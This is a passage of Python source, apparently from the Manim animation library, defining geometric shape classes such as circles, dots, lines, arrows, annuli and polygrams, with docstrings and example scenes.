ValueError( """ArcBetweenPoints called with a radius that is smaller than half the distance between the points.""" ) arc_height = radius - math.sqrt(radius ** 2 - halfdist ** 2) angle = math.acos((radius - arc_height) / radius) * sign Arc.__init__(self, radius=radius, angle=angle, **kwargs) if angle == 0: self.set_points_as_corners([LEFT, RIGHT]) self.put_start_and_end_on(start, end) if radius is None: center = self.get_arc_center(warning=False) if not self._failed_to_get_center: self.radius = np.linalg.norm(np.array(start) - np.array(center)) else: self.radius = math.inf class CurvedArrow(ArcBetweenPoints): def __init__(self, start_point, end_point, **kwargs): super().__init__(start_point, end_point, **kwargs) self.add_tip(tip_shape=kwargs.pop("tip_shape", ArrowTriangleFilledTip)) class CurvedDoubleArrow(CurvedArrow): def __init__(self, start_point, end_point, **kwargs): if "tip_shape_end" in kwargs: kwargs["tip_shape"] = kwargs.pop("tip_shape_end") tip_shape_start = kwargs.pop("tip_shape_start", ArrowTriangleFilledTip) super().__init__(start_point, end_point, **kwargs) self.add_tip(at_start=True, tip_shape=tip_shape_start) class Circle(Arc): """A circle. Parameters ---------- color : :class:`~.Colors`, optional The color of the shape. kwargs : Any Additional arguments to be passed to :class:`Arc` Examples -------- .. manim:: CircleExample :save_last_frame: class CircleExample(Scene): def construct(self): circle_1 = Circle(radius=1.0) circle_2 = Circle(radius=1.5, color=GREEN) circle_3 = Circle(radius=1.0, color=BLUE_B, fill_opacity=1) circle_group = Group(circle_1, circle_2, circle_3).arrange(buff=1) self.add(circle_group) """ def __init__( self, radius: float = None, color=RED, **kwargs, ): Arc.__init__( self, radius=radius, start_angle=0, angle=TAU, color=color, **kwargs, ) def surround(self, mobject, dim_to_match=0, stretch=False, buffer_factor=1.2): """Modifies a circle so that it surrounds a given mobject. Parameters ---------- mobject : :class:`~.Mobject` The mobject that the circle will be surrounding. dim_to_match : :class:`int`, optional buffer_factor : :class:`float`, optional Scales the circle with respect to the mobject. A `buffer_factor` < 1 makes the circle smaller than the mobject. stretch : :class:`bool`, optional Stretches the circle to fit more tightly around the mobject. Note: Does not work with :class:`Line` Examples -------- .. manim:: CircleSurround :save_last_frame: class CircleSurround(Scene): def construct(self): triangle1 = Triangle() circle1 = Circle().surround(triangle1) group1 = Group(triangle1,circle1) # treat the two mobjects as one line2 = Line() circle2 = Circle().surround(line2, buffer_factor=2.0) group2 = Group(line2,circle2) # buffer_factor < 1, so the circle is smaller than the square square3 = Square() circle3 = Circle().surround(square3, buffer_factor=0.5) group3 = Group(square3, circle3) group = Group(group1, group2, group3).arrange(buff=1) self.add(group) """ # Ignores dim_to_match and stretch; result will always be a circle # TODO: Perhaps create an ellipse class to handle single-dimension stretching # Something goes wrong here when surrounding lines? # TODO: Figure out and fix self.replace(mobject, dim_to_match, stretch) self.width = np.sqrt(mobject.width ** 2 + mobject.height ** 2) return self.scale(buffer_factor) def point_at_angle(self, angle): """Returns the position of a point on the circle. Parameters ---------- angle : class: `float` The angle of the point along the circle in radians. Examples -------- .. manim:: PointAtAngleExample :save_last_frame: class PointAtAngleExample(Scene): def construct(self): circle = Circle(radius=2.0) p1 = circle.point_at_angle(PI/2) p2 = circle.point_at_angle(270*DEGREES) s1 = Square(side_length=0.25).move_to(p1) s2 = Square(side_length=0.25).move_to(p2) self.add(circle, s1, s2) Returns ------- :class:`numpy.ndarray` The location of the point along the circle's circumference. """ start_angle = angle_of_vector(self.get_points()[0] - self.get_center()) return self.point_from_proportion((angle - start_angle) / TAU) class Dot(Circle): """A circle with a very small radius. Parameters ---------- point : Union[:class:`list`, :class:`numpy.ndarray`], optional The location of the dot. radius : Optional[:class:`float`] The radius of the dot. stroke_width : :class:`float`, optional The thickness of the outline of the dot. fill_opacity : :class:`float`, optional The opacity of the dot's fill_colour color : :class:`~.Colors`, optional The color of the dot. kwargs : Any Additional arguments to be passed to :class:`Circle` Examples -------- .. manim:: DotExample :save_last_frame: class DotExample(Scene): def construct(self): dot1 = Dot(point=LEFT, radius=0.08) dot2 = Dot(point=ORIGIN) dot3 = Dot(point=RIGHT) self.add(dot1,dot2,dot3) """ def __init__( self, point=ORIGIN, radius: float = DEFAULT_DOT_RADIUS, stroke_width=0, fill_opacity=1.0, color=WHITE, **kwargs, ): super().__init__( arc_center=point, radius=radius, stroke_width=stroke_width, fill_opacity=fill_opacity, color=color, **kwargs, ) class AnnotationDot(Dot): """ A dot with bigger radius and bold stroke to annotate scenes. """ def __init__( self, radius: float = DEFAULT_DOT_RADIUS * 1.3, stroke_width=5, stroke_color=WHITE, fill_color=BLUE, **kwargs, ): super().__init__( radius=radius, stroke_width=stroke_width, stroke_color=stroke_color, fill_color=fill_color, **kwargs, ) class LabeledDot(Dot): """A :class:`Dot` containing a label in its center. Parameters ---------- label : Union[:class:`str`, :class:`~.SingleStringMathTex`, :class:`~.Text`, :class:`~.Tex`] The label of the :class:`Dot`. This is rendered as :class:`~.MathTex` by default (i.e., when passing a :class:`str`), but other classes representing rendered strings like :class:`~.Text` or :class:`~.Tex` can be passed as well. radius : :class:`float` The radius of the :class:`Dot`. If ``None`` (the default), the radius is calculated based on the size of the ``label``. Examples -------- .. manim:: SeveralLabeledDots :save_last_frame: class SeveralLabeledDots(Scene): def construct(self): sq = Square(fill_color=RED, fill_opacity=1) self.add(sq) dot1 = LabeledDot(Tex("42", color=RED)) dot2 = LabeledDot(MathTex("a", color=GREEN)) dot3 = LabeledDot(Text("ii", color=BLUE)) dot4 = LabeledDot("3") dot1.next_to(sq, UL) dot2.next_to(sq, UR) dot3.next_to(sq, DL) dot4.next_to(sq, DR) self.add(dot1, dot2, dot3, dot4) """ def __init__(self, label, radius=None, **kwargs) -> None: if isinstance(label, str): from manim import MathTex rendered_label = MathTex(label, color=BLACK) else: rendered_label = label if radius is None: radius = 0.1 + max(rendered_label.width, rendered_label.height) / 2 Dot.__init__(self, radius=radius, **kwargs) rendered_label.move_to(self.get_center()) self.add(rendered_label) class Ellipse(Circle): """A circular shape; oval, circle. Parameters ---------- width : :class:`float`, optional The horizontal width of the ellipse. height : :class:`float`, optional The vertical height of the ellipse. kwargs : Any Additional arguments to be passed to :class:`Circle` Examples -------- .. manim:: EllipseExample :save_last_frame: class EllipseExample(Scene): def construct(self): ellipse_1 = Ellipse(width=2.0, height=4.0, color=BLUE_B) ellipse_2 = Ellipse(width=4.0, height=1.0, color=BLUE_D) ellipse_group = Group(ellipse_1,ellipse_2).arrange(buff=1) self.add(ellipse_group) """ def __init__(self, width=2, height=1, **kwargs): super().__init__(**kwargs) self.stretch_to_fit_width(width) self.stretch_to_fit_height(height) class AnnularSector(Arc): """ Parameters ---------- inner_radius The inside radius of the Annular Sector. outer_radius The outside radius of the Annular Sector. angle The clockwise angle of the Annular Sector. start_angle The starting clockwise angle of the Annular Sector. fill_opacity The opacity of the color filled in the Annular Sector. stroke_width The stroke width of the Annular Sector. color The color filled into the Annular Sector. Examples -------- .. manim:: AnnularSectorExample :save_last_frame: class AnnularSectorExample(Scene): def construct(self): # Changes background color to clearly visualize changes in fill_opacity. self.camera.background_color = WHITE # The default parameter start_angle is 0, so the AnnularSector starts from the +x-axis. s1 = AnnularSector(color=YELLOW).move_to(2 * UL) # Different inner_radius and outer_radius than the default. s2 = AnnularSector(inner_radius=1.5, outer_radius=2, angle=45 * DEGREES, color=RED).move_to(2 * UR) # fill_opacity is typically a number > 0 and <= 1. If fill_opacity=0, the AnnularSector is transparent. s3 = AnnularSector(inner_radius=1, outer_radius=1.5, angle=PI, fill_opacity=0.25, color=BLUE).move_to(2 * DL) # With a negative value for the angle, the AnnularSector is drawn clockwise from the start value. s4 = AnnularSector(inner_radius=1, outer_radius=1.5, angle=-3 * PI / 2, color=GREEN).move_to(2 * DR) self.add(s1, s2, s3, s4) """ def __init__( self, inner_radius=1, outer_radius=2, angle=TAU / 4, start_angle=0, fill_opacity=1, stroke_width=0, color=WHITE, **kwargs, ): self.inner_radius = inner_radius self.outer_radius = outer_radius super().__init__( start_angle=start_angle, angle=angle, fill_opacity=fill_opacity, stroke_width=stroke_width, color=color, **kwargs, ) def generate_points(self): inner_arc, outer_arc = [ Arc( start_angle=self.start_angle, angle=self.angle, radius=radius, arc_center=self.arc_center, ) for radius in (self.inner_radius, self.outer_radius) ] outer_arc.reverse_points() self.append_points(inner_arc.get_points()) self.add_line_to(outer_arc.get_points()[0]) self.append_points(outer_arc.get_points()) self.add_line_to(inner_arc.get_points()[0]) init_points = generate_points class Sector(AnnularSector): """ Examples -------- .. manim:: ExampleSector :save_last_frame: class ExampleSector(Scene): def construct(self): sector = Sector(outer_radius=2, inner_radius=1) sector2 = Sector(outer_radius=2.5, inner_radius=0.8).move_to([-3, 0, 0]) sector.set_color(RED) sector2.set_color(PINK) self.add(sector, sector2) """ def __init__(self, outer_radius=1, inner_radius=0, **kwargs): super().__init__(inner_radius=inner_radius, outer_radius=outer_radius, **kwargs) class Annulus(Circle): """Region between two concentric :class:`Circles <.Circle>`. Parameters ---------- inner_radius The radius of the inner :class:`Circle`. outer_radius The radius of the outer :class:`Circle`. kwargs : Any Additional arguments to be passed to :class:`Annulus` Examples -------- .. manim:: AnnulusExample :save_last_frame: class AnnulusExample(Scene): def construct(self): annulus_1 = Annulus(inner_radius=0.5, outer_radius=1).shift(UP) annulus_2 = Annulus(inner_radius=0.3, outer_radius=0.6, color=RED).next_to(annulus_1, DOWN) self.add(annulus_1, annulus_2) """ def __init__( self, inner_radius: Optional[float] = 1, outer_radius: Optional[float] = 2, fill_opacity=1, stroke_width=0, color=WHITE, mark_paths_closed=False, **kwargs, ): self.mark_paths_closed = mark_paths_closed # is this even used? self.inner_radius = inner_radius self.outer_radius = outer_radius super().__init__( fill_opacity=fill_opacity, stroke_width=stroke_width, color=color, **kwargs ) def generate_points(self): self.radius = self.outer_radius outer_circle = Circle(radius=self.outer_radius) inner_circle = Circle(radius=self.inner_radius) inner_circle.reverse_points() self.append_points(outer_circle.get_points()) self.append_points(inner_circle.get_points()) self.shift(self.arc_center) init_points = generate_points class Line(TipableVMobject): def __init__(self, start=LEFT, end=RIGHT, buff=0, path_arc=None, **kwargs): self.dim = 3 self.buff = buff self.path_arc = path_arc self.set_start_and_end_attrs(start, end) super().__init__(**kwargs) def generate_points(self): self.set_points_by_ends( start=self.start, end=self.end, buff=self.buff, path_arc=self.path_arc ) def set_points_by_ends(self, start, end, buff=0, path_arc=0): if path_arc: arc = ArcBetweenPoints(self.start, self.end, angle=self.path_arc) self.set_points(arc.get_points()) else: self.set_points_as_corners([start, end]) self.account_for_buff(buff) init_points = generate_points def set_path_arc(self, new_value): self.path_arc = new_value self.init_points() def account_for_buff(self, buff): if buff == 0: return # if self.path_arc == 0: length = self.get_length() else: length = self.get_arc_length() # if length < 2 * buff: return buff_proportion = buff / length self.pointwise_become_partial(self, buff_proportion, 1 - buff_proportion) return self def set_start_and_end_attrs(self, start, end): # If either start or end are Mobjects, this # gives their centers rough_start = self.pointify(start) rough_end = self.pointify(end) vect = normalize(rough_end - rough_start) # Now that we know the direction between them, # we can find the appropriate boundary point from # start and end, if they're mobjects self.start = self.pointify(start, vect) self.end = self.pointify(end, -vect) def pointify(self, mob_or_point, direction=None): if isinstance(mob_or_point, (Mobject, OpenGLMobject)): mob = mob_or_point if direction is None: return mob.get_center() else: return mob.get_boundary_point(direction) return np.array(mob_or_point) def put_start_and_end_on(self, start: Sequence[float], end: Sequence[float]): """Sets starts and end coordinates of a line. Examples -------- .. manim:: LineExample class LineExample(Scene): def construct(self): d = VGroup() for i in range(0,10): d.add(Dot()) d.arrange_in_grid(buff=1) self.add(d) l= Line(d[0], d[1]) self.add(l) self.wait() l.put_start_and_end_on(d[1].get_center(), d[2].get_center()) self.wait() l.put_start_and_end_on(d[4].get_center(), d[7].get_center()) self.wait() """ curr_start, curr_end = self.get_start_and_end() if np.all(curr_start == curr_end): # TODO, any problems with resetting # these attrs? self.start = start self.end = end self.generate_points() return super().put_start_and_end_on(start, end) def get_vector(self): return self.get_end() - self.get_start() def get_unit_vector(self): return normalize(self.get_vector()) def get_angle(self): return angle_of_vector(self.get_vector()) def get_projection(self, point: Sequence[float]) -> Sequence[float]: """Returns the projection of a point onto a line. Parameters ---------- point The point to which the line is projected. """ start = self.get_start() end = self.get_end() unit_vect = normalize(end - start) return start + np.dot(point - start, unit_vect) * unit_vect def get_slope(self): return np.tan(self.get_angle()) def set_angle(self, angle, about_point=None): if about_point is None: about_point = self.get_start() self.rotate( angle - self.get_angle(), about_point=about_point, ) return self def set_length(self, length): return self.scale(length / self.get_length()) def set_opacity(self, opacity, family=True): # Overwrite default, which would set # the fill opacity self.set_stroke(opacity=opacity) if family: for sm in self.submobjects: sm.set_opacity(opacity, family) return self class DashedLine(Line): """A dashed :class:`Line`. Parameters ---------- args : Any Arguments to be passed to :class:`Line` dash_length : :class:`float`, optional The length of each individual dash of the line. dash_spacing : Optional[:class:`float`] The spacing between the dashes. positive_space_ratio : :class:`float`, optional The ratio of empty space to dash space. Range of 0-1. kwargs : Any Additional arguments to be passed to :class:`Line` Examples -------- .. manim:: DashedLineExample :save_last_frame: class DashedLineExample(Scene): def construct(self): # dash_length increased dashed_1 = DashedLine(config.left_side, config.right_side, dash_length=2.0).shift(UP*2) # normal dashed_2 = DashedLine(config.left_side, config.right_side) # positive_space_ratio decreased dashed_3 = DashedLine(config.left_side, config.right_side, positive_space_ratio=0.1).shift(DOWN*2) self.add(dashed_1, dashed_2, dashed_3) See Also -------- :class:`~.DashedVMobject` """ def __init__( self, *args, dash_length=DEFAULT_DASH_LENGTH, dash_spacing=None, positive_space_ratio=0.5, **kwargs, ): self.dash_length = dash_length self.dash_spacing = (dash_spacing,) self.positive_space_ratio = positive_space_ratio super().__init__(*args, **kwargs) dashes = DashedVMobject( self, num_dashes=self.calculate_num_dashes(), positive_space_ratio=positive_space_ratio, ) self.clear_points() self.add(*dashes) def calculate_num_dashes(self) -> int: """Returns the number of dashes in the dashed line. Examples -------- :: >>> DashedLine().calculate_num_dashes() 20 """ try: full_length = self.dash_length / self.positive_space_ratio return int(np.ceil(self.get_length() / full_length)) except ZeroDivisionError: return 1 def calculate_positive_space_ratio(self): return fdiv(self.dash_length, self.dash_length + self.dash_spacing) def get_start(self) -> np.ndarray: """Returns the start point of the line. Examples -------- :: >>> DashedLine().get_start() array([-1., 0., 0.]) """ if len(self.submobjects) > 0: return self.submobjects[0].get_start() else: return Line.get_start(self) def get_end(self) -> np.ndarray: """Returns the end point of the line. Examples -------- :: >>> DashedLine().get_end() array([0.99871795, 0. , 0. ]) """ if len(self.submobjects) > 0: return self.submobjects[-1].get_end() else: return super().get_end() def get_first_handle(self) -> np.ndarray: """Returns the point of the first handle. Examples -------- :: >>> DashedLine().get_first_handle() array([-0.98333333, 0. , 0. ]) """ return self.submobjects[0].get_points()[1] def get_last_handle(self) -> np.ndarray: """Returns the point of the last handle. Examples -------- :: >>> DashedLine().get_last_handle() array([0.98205128, 0. , 0. ]) """ return self.submobjects[-1].get_points()[-2] class TangentLine(Line): """Constructs a line tangent to a :class:`~.VMobject` at a specific point. Parameters ---------- vmob : :class:`~.VMobject` The VMobject on which the tangent line is drawn. alpha : :class:`float` How far along the shape that the line will be constructed. range: 0-1. length : :class:`float`, optional Length of the tangent line. d_alpha: :class:`float`, optional The ``dx`` value kwargs : Any Additional arguments to be passed to :class:`Line` Examples -------- .. manim:: TangentLineExample :save_last_frame: class TangentLineExample(Scene): def construct(self): circle = Circle(radius=2) line_1 = TangentLine(circle, alpha=0.0, length=4, color=BLUE_D) # right line_2 = TangentLine(circle, alpha=0.4, length=4, color=GREEN) # top left self.add(circle, line_1, line_2) See Also -------- :meth:`~.VMobject.point_from_proportion` """ def __init__(self, vmob, alpha, length=1, d_alpha=1e-6, **kwargs): self.length = length self.d_alpha = d_alpha da = self.d_alpha a1 = np.clip(alpha - da, 0, 1) a2 = np.clip(alpha + da, 0, 1) super().__init__( vmob.point_from_proportion(a1), vmob.point_from_proportion(a2), **kwargs ) self.scale(self.length / self.get_length()) class Elbow(VMobject, metaclass=ConvertToOpenGL): """Two lines that create a right angle about each other: L-shape. Parameters ---------- width : :class:`float`, optional The length of the elbow's sides. angle : :class:`float`, optional The rotation of the elbow. kwargs : Any Additional arguments to be passed to :class:`~.VMobject` Examples -------- .. manim:: ElbowExample :save_last_frame: class ElbowExample(Scene): def construct(self): elbow_1 = Elbow() elbow_2 = Elbow(width=2.0) elbow_3 = Elbow(width=2.0, angle=5*PI/4) elbow_group = Group(elbow_1, elbow_2, elbow_3).arrange(buff=1) self.add(elbow_group) See Also -------- :class:`RightAngle` """ def __init__(self, width=0.2, angle=0, **kwargs): self.angle = angle super().__init__(**kwargs) self.set_points_as_corners([UP, UP + RIGHT, RIGHT]) self.scale_to_fit_width(width, about_point=ORIGIN) self.rotate(self.angle, about_point=ORIGIN) class Arrow(Line): """An arrow. Parameters ---------- args : Any Arguments to be passed to :class:`Line`. stroke_width : :class:`float`, optional The thickness of the arrow. Influenced by :attr:`max_stroke_width_to_length_ratio`. buff : :class:`float`, optional The distance of the arrow from its start and end points. max_tip_length_to_length_ratio : :class:`float`, optional :attr:`tip_length` scales with the length of the arrow. Increasing this ratio raises the max value of :attr:`tip_length`. max_stroke_width_to_length_ratio : :class:`float`, optional :attr:`stroke_width` scales with the length of the arrow. Increasing this ratio ratios the max value of :attr:`stroke_width`. kwargs : Any Additional arguments to be passed to :class:`Line`. Examples -------- .. manim:: ArrowExample :save_last_frame: from manim.mobject.geometry import ArrowSquareTip class ArrowExample(Scene): def construct(self): arrow_1 = Arrow(start=RIGHT, end=LEFT, color=GOLD) arrow_2 = Arrow(start=RIGHT, end=LEFT, color=GOLD, tip_shape=ArrowSquareTip).shift(DOWN) g1 = Group(arrow_1, arrow_2) # the effect of buff square = Square(color=MAROON_A) arrow_3 = Arrow(start=LEFT, end=RIGHT) arrow_4 = Arrow(start=LEFT, end=RIGHT, buff=0).next_to(arrow_1, UP) g2 = Group(arrow_3, arrow_4, square) # a shorter arrow has a shorter tip and smaller stroke width arrow_5 = Arrow(start=ORIGIN, end=config.top).shift(LEFT * 4) arrow_6 = Arrow(start=config.top + DOWN, end=config.top).shift(LEFT * 3) g3 = Group(arrow_5, arrow_6) self.add(Group(g1, g2, g3).arrange(buff=2)) .. manim:: ArrowExample :save_last_frame: class ArrowExample(Scene): def construct(self): left_group = VGroup() # As buff increases, the size of the arrow decreases. for buff in np.arange(0, 2.2, 0.45): left_group += Arrow(buff=buff, start=2 * LEFT, end=2 * RIGHT) # Required to arrange arrows. left_group.arrange(DOWN) left_group.move_to(4 * LEFT) middle_group = VGroup() # As max_stroke_width_to_length_ratio gets bigger, # the width of stroke increases. for i in np.arange(0, 5, 0.5): middle_group += Arrow(max_stroke_width_to_length_ratio=i) middle_group.arrange(DOWN) UR_group = VGroup() # As max_tip_length_to_length_ratio increases, # the length of the tip increases. for i in np.arange(0, 0.3, 0.1): UR_group += Arrow(max_tip_length_to_length_ratio=i) UR_group.arrange(DOWN) UR_group.move_to(4 * RIGHT + 2 * UP) DR_group = VGroup() DR_group += Arrow(start=LEFT, end=RIGHT, color=BLUE, tip_shape=ArrowSquareTip) DR_group += Arrow(start=LEFT, end=RIGHT, color=BLUE, tip_shape=ArrowSquareFilledTip) DR_group += Arrow(start=LEFT, end=RIGHT, color=YELLOW, tip_shape=ArrowCircleTip) DR_group += Arrow(start=LEFT, end=RIGHT, color=YELLOW, tip_shape=ArrowCircleFilledTip) DR_group.arrange(DOWN) DR_group.move_to(4 * RIGHT + 2 * DOWN) self.add(left_group, middle_group, UR_group, DR_group) See Also -------- :class:`ArrowTip` :class:`CurvedArrow` """ def __init__( self, *args, stroke_width=6, buff=MED_SMALL_BUFF, max_tip_length_to_length_ratio=0.25, max_stroke_width_to_length_ratio=5, **kwargs, ): self.max_tip_length_to_length_ratio = max_tip_length_to_length_ratio self.max_stroke_width_to_length_ratio = max_stroke_width_to_length_ratio tip_shape = kwargs.pop("tip_shape", ArrowTriangleFilledTip) super().__init__(*args, buff=buff, stroke_width=stroke_width, **kwargs) # TODO, should this be affected when # Arrow.set_stroke is called? self.initial_stroke_width = self.stroke_width self.add_tip(tip_shape=tip_shape) self.set_stroke_width_from_length() def scale(self, factor, scale_tips=False, **kwargs): r"""Scale an arrow, but keep stroke width and arrow tip size fixed. See Also -------- :meth:`~.Mobject.scale` Examples -------- :: >>> arrow = Arrow(np.array([-1, -1, 0]), np.array([1, 1, 0]), buff=0) >>> scaled_arrow = arrow.scale(2) >>> np.round(scaled_arrow.get_start_and_end(), 8) + 0 array([[-2., -2., 0.], [ 2., 2., 0.]]) >>> arrow.tip.length == scaled_arrow.tip.length True Manually scaling the object using the default method :meth:`~.Mobject.scale` does not have the same properties:: >>> new_arrow = Arrow(np.array([-1, -1, 0]), np.array([1, 1, 0]), buff=0) >>> another_scaled_arrow = VMobject.scale(new_arrow, 2) >>> another_scaled_arrow.tip.length == arrow.tip.length False """ if self.get_length() == 0: return self if scale_tips: super().scale(factor, **kwargs) self.set_stroke_width_from_length() return self has_tip = self.has_tip() has_start_tip = self.has_start_tip() if has_tip or has_start_tip: old_tips = self.pop_tips() super().scale(factor, **kwargs) self.set_stroke_width_from_length() if has_tip: self.add_tip(tip=old_tips[0]) if has_start_tip: self.add_tip(tip=old_tips[1], at_start=True) return self def get_normal_vector(self) -> np.ndarray: """Returns the normal of a vector. Examples -------- :: >>> Arrow().get_normal_vector() + 0. # add 0. to avoid negative 0 in output array([ 0., 0., -1.]) """ p0, p1, p2 = self.tip.get_start_anchors()[:3] return normalize(np.cross(p2 - p1, p1 - p0)) def reset_normal_vector(self): """Resets the normal of a vector""" self.normal_vector = self.get_normal_vector() return self def get_default_tip_length(self) -> float: """Returns the default tip_length of the arrow. Examples -------- :: >>> Arrow().get_default_tip_length() 0.35 """ max_ratio = self.max_tip_length_to_length_ratio return min(self.tip_length, max_ratio * self.get_length()) def set_stroke_width_from_length(self): """Used internally. Sets stroke width based on length.""" max_ratio = self.max_stroke_width_to_length_ratio if config.renderer == "opengl": self.set_stroke( width=min(self.initial_stroke_width, max_ratio * self.get_length()), recurse=False, ) else: self.set_stroke( width=min(self.initial_stroke_width, max_ratio * self.get_length()), family=False, ) return self class Vector(Arrow): """A vector specialized for use in graphs. Parameters ---------- direction : Union[:class:`list`, :class:`numpy.ndarray`] The direction of the arrow. buff : :class:`float` The distance of the vector from its endpoints. kwargs : Any Additional arguments to be passed to :class:`Arrow` Examples -------- .. manim:: VectorExample :save_last_frame: class VectorExample(Scene): def construct(self): plane = NumberPlane() vector_1 = Vector([1,2]) vector_2 = Vector([-5,-2]) self.add(plane, vector_1, vector_2) """ def __init__(self, direction=RIGHT, buff=0, **kwargs): self.buff = buff if len(direction) == 2: direction = np.hstack([direction, 0]) super().__init__(ORIGIN, direction, buff=buff, **kwargs) def coordinate_label( self, integer_labels: bool = True, n_dim: int = 2, color: str = WHITE ): """Creates a label based on the coordinates of the vector. Parameters ---------- integer_labels Whether or not to round the coordinates to integers. n_dim The number of dimensions of the vector. color The color of the label. Examples -------- .. manim VectorCoordinateLabel :save_last_frame: class VectorCoordinateLabel(Scene): def construct(self): plane = NumberPlane() vect_1 = Vector([1, 2]) vect_2 = Vector([-3, -2]) label_1 = vect1.coordinate_label() label_2 = vect2.coordinate_label(color=YELLOW) self.add(plane, vect_1, vect_2, label_1, label_2) """ # avoiding circular imports from .matrix import Matrix vect = np.array(self.get_end()) if integer_labels: vect = np.round(vect).astype(int) vect = vect[:n_dim] vect = vect.reshape((n_dim, 1)) label = Matrix(vect) label.scale(LARGE_BUFF - 0.2) shift_dir = np.array(self.get_end()) if shift_dir[0] >= 0: # Pointing right shift_dir -= label.get_left() + DEFAULT_MOBJECT_TO_MOBJECT_BUFFER * LEFT else: # Pointing left shift_dir -= label.get_right() + DEFAULT_MOBJECT_TO_MOBJECT_BUFFER * RIGHT label.shift(shift_dir) label.set_color(color) return label class DoubleArrow(Arrow): """An arrow with tips on both ends. Parameters ---------- args : Any Arguments to be passed to :class:`Arrow` kwargs : Any Additional arguments to be passed to :class:`Arrow` Examples -------- .. manim:: DoubleArrowExample :save_last_frame: from manim.mobject.geometry import ArrowCircleFilledTip class DoubleArrowExample(Scene): def construct(self): circle = Circle(radius=2.0) d_arrow = DoubleArrow(start=circle.get_left(), end=circle.get_right()) d_arrow_2 = DoubleArrow(tip_shape_end=ArrowCircleFilledTip, tip_shape_start=ArrowCircleFilledTip) group = Group(Group(circle, d_arrow), d_arrow_2).arrange(UP, buff=1) self.add(group) .. manim:: DoubleArrowExample2 :save_last_frame: class DoubleArrowExample2(Scene): def construct(self): box = Square() p1 = box.get_left() p2 = box.get_right() d1 = DoubleArrow(p1, p2, buff=0) d2 = DoubleArrow(p1, p2, buff=0, tip_length=0.2, color=YELLOW) d3 = DoubleArrow(p1, p2, buff=0, tip_length=0.4, color=BLUE) Group(d1, d2, d3).arrange(DOWN) self.add(box, d1, d2, d3) See Also -------- :class:`ArrowTip` :class:`CurvedDoubleArrow` """ def __init__(self, *args, **kwargs): if "tip_shape_end" in kwargs: kwargs["tip_shape"] = kwargs.pop("tip_shape_end") tip_shape_start = kwargs.pop("tip_shape_start", ArrowTriangleFilledTip) super().__init__(*args, **kwargs) self.add_tip(at_start=True, tip_shape=tip_shape_start) class CubicBezier(VMobject, metaclass=ConvertToOpenGL): """ Example ------- .. manim:: BezierSplineExample :save_last_frame: class BezierSplineExample(Scene): def construct(self): p1 = np.array([-3, 1, 0]) p1b = p1 + [1, 0, 0] d1 = Dot(point=p1).set_color(BLUE) l1 = Line(p1, p1b) p2 = np.array([3, -1, 0]) p2b = p2 - [1, 0, 0] d2 = Dot(point=p2).set_color(RED) l2 = Line(p2, p2b) bezier = CubicBezier(p1b, p1b + 3 * RIGHT, p2b - 3 * RIGHT, p2b) self.add(l1, d1, l2, d2, bezier) """ def __init__(self, start_anchor, start_handle, end_handle, end_anchor, **kwargs): super().__init__(**kwargs) self.add_cubic_bezier_curve(start_anchor, start_handle, end_handle, end_anchor) class Polygram(VMobject, metaclass=ConvertToOpenGL): """A generalized :class:`Polygon`, allowing for disconnected sets of edges. Parameters ---------- vertex_groups The groups of vertices making up the :class:`Polygram`. The first vertex in each group is repeated to close the shape. Each point must be 3-dimensional: ``[x,y,z]`` color The color of the :class:`Polygram`. kwargs Forwarded to the parent constructor. Examples -------- .. manim:: PolygramExample import numpy as np class PolygramExample(Scene): def construct(self): hexagram = Polygram( [[0, 2, 0], [-np.sqrt(3), -1, 0], [np.sqrt(3), -1, 0]], [[-np.sqrt(3), 1, 0], [0, -2, 0], [np.sqrt(3), 1, 0]], ) self.add(hexagram) dot = Dot() self.play(MoveAlongPath(dot, hexagram), run_time=5, rate_func=linear) self.remove(dot) self.wait() """ def __init__(self, *vertex_groups: Iterable[Sequence[float]], color=BLUE, **kwargs): super().__init__(color=color, **kwargs) for vertices in vertex_groups: first_vertex, *vertices = vertices first_vertex = np.array(first_vertex) self.start_new_path(first_vertex) self.add_points_as_corners( [*[np.array(vertex) for vertex in vertices], first_vertex] ) def get_vertices(self) -> np.ndarray: """Gets the vertices of the :class:`Polygram`. Returns ------- :class:`numpy.ndarray` The vertices of the :class:`Polygram`. Examples -------- :: >>> sq = Square() >>> sq.get_vertices() array([[ 1., 1., 0.], [-1., 1., 0.], [-1., -1., 0.], [ 1., -1., 0.]]) """ return self.get_start_anchors() def get_vertex_groups(self) -> np.ndarray: """Gets the vertex groups of the :class:`Polygram`. Returns ------- :class:`numpy.ndarray` The vertex groups of the :class:`Polygram`. Examples -------- :: >>> poly = Polygram([ORIGIN, RIGHT, UP], [LEFT, LEFT + UP, 2 * LEFT]) >>> poly.get_vertex_groups() array([[[ 0., 0., 0.], [ 1., 0., 0.], [ 0., 1., 0.]], <BLANKLINE> [[-1., 0., 0.], [-1., 1., 0.], [-2., 0., 0.]]]) """ vertex_groups = [] group = [] for start, end in zip(self.get_start_anchors(), self.get_end_anchors()): group.append(start) if self.consider_points_equals(end, group[0]): vertex_groups.append(group) group = [] return np.array(vertex_groups) def round_corners(self, radius: float = 0.5): """Rounds off the corners of the :class:`Polygram`. Parameters ---------- radius The curvature of the corners of the :class:`Polygram`. Examples -------- .. manim:: PolygramRoundCorners :save_last_frame: class PolygramRoundCorners(Scene): def construct(self): star = Star(outer_radius=2) shapes = VGroup(star) shapes.add(star.copy().round_corners(radius=0.1)) shapes.add(star.copy().round_corners(radius=0.25)) shapes.arrange(RIGHT) self.add(shapes) See Also -------- :class:`RoundedRectangle` """ if radius == 0: return self new_points = [] for vertices in self.get_vertex_groups(): arcs = [] for v1, v2, v3 in adjacent_n_tuples(vertices, 3): vect1 = v2 - v1 vect2 = v3 - v2 unit_vect1 = normalize(vect1) unit_vect2 = normalize(vect2) angle = angle_between_vectors(vect1, vect2) # Negative radius gives concave curves angle *= np.sign(radius) # Distance between vertex and start of the arc cut_off_length = radius * np.tan(angle / 2) # Determines counterclockwise vs. clockwise sign = np.sign(np.cross(vect1, vect2)[2]) arc = ArcBetweenPoints( v2 - unit_vect1 * cut_off_length, v2 + unit_vect2 * cut_off_length, angle=sign * angle, ) arcs.append(arc) # To ensure that we loop through starting with last arcs = [arcs[-1], *arcs[:-1]] for arc1, arc2 in adjacent_pairs(arcs): new_points.extend(arc1.get_points()) line = Line(arc1.get_end(), arc2.get_start()) # Make sure anchors are evenly distributed len_ratio = line.get_length() / arc1.get_arc_length() line.insert_n_curves(int(arc1.get_num_curves() * len_ratio)) new_points.extend(line.get_points()) self.set_points(new_points) return self class Polygon(Polygram): """A shape consisting of one closed loop of vertices. Parameters ---------- vertices The vertices of the :class:`Polygon`. kwargs Forwarded to the parent constructor. Examples -------- .. manim:: PolygonExample :save_last_frame: class 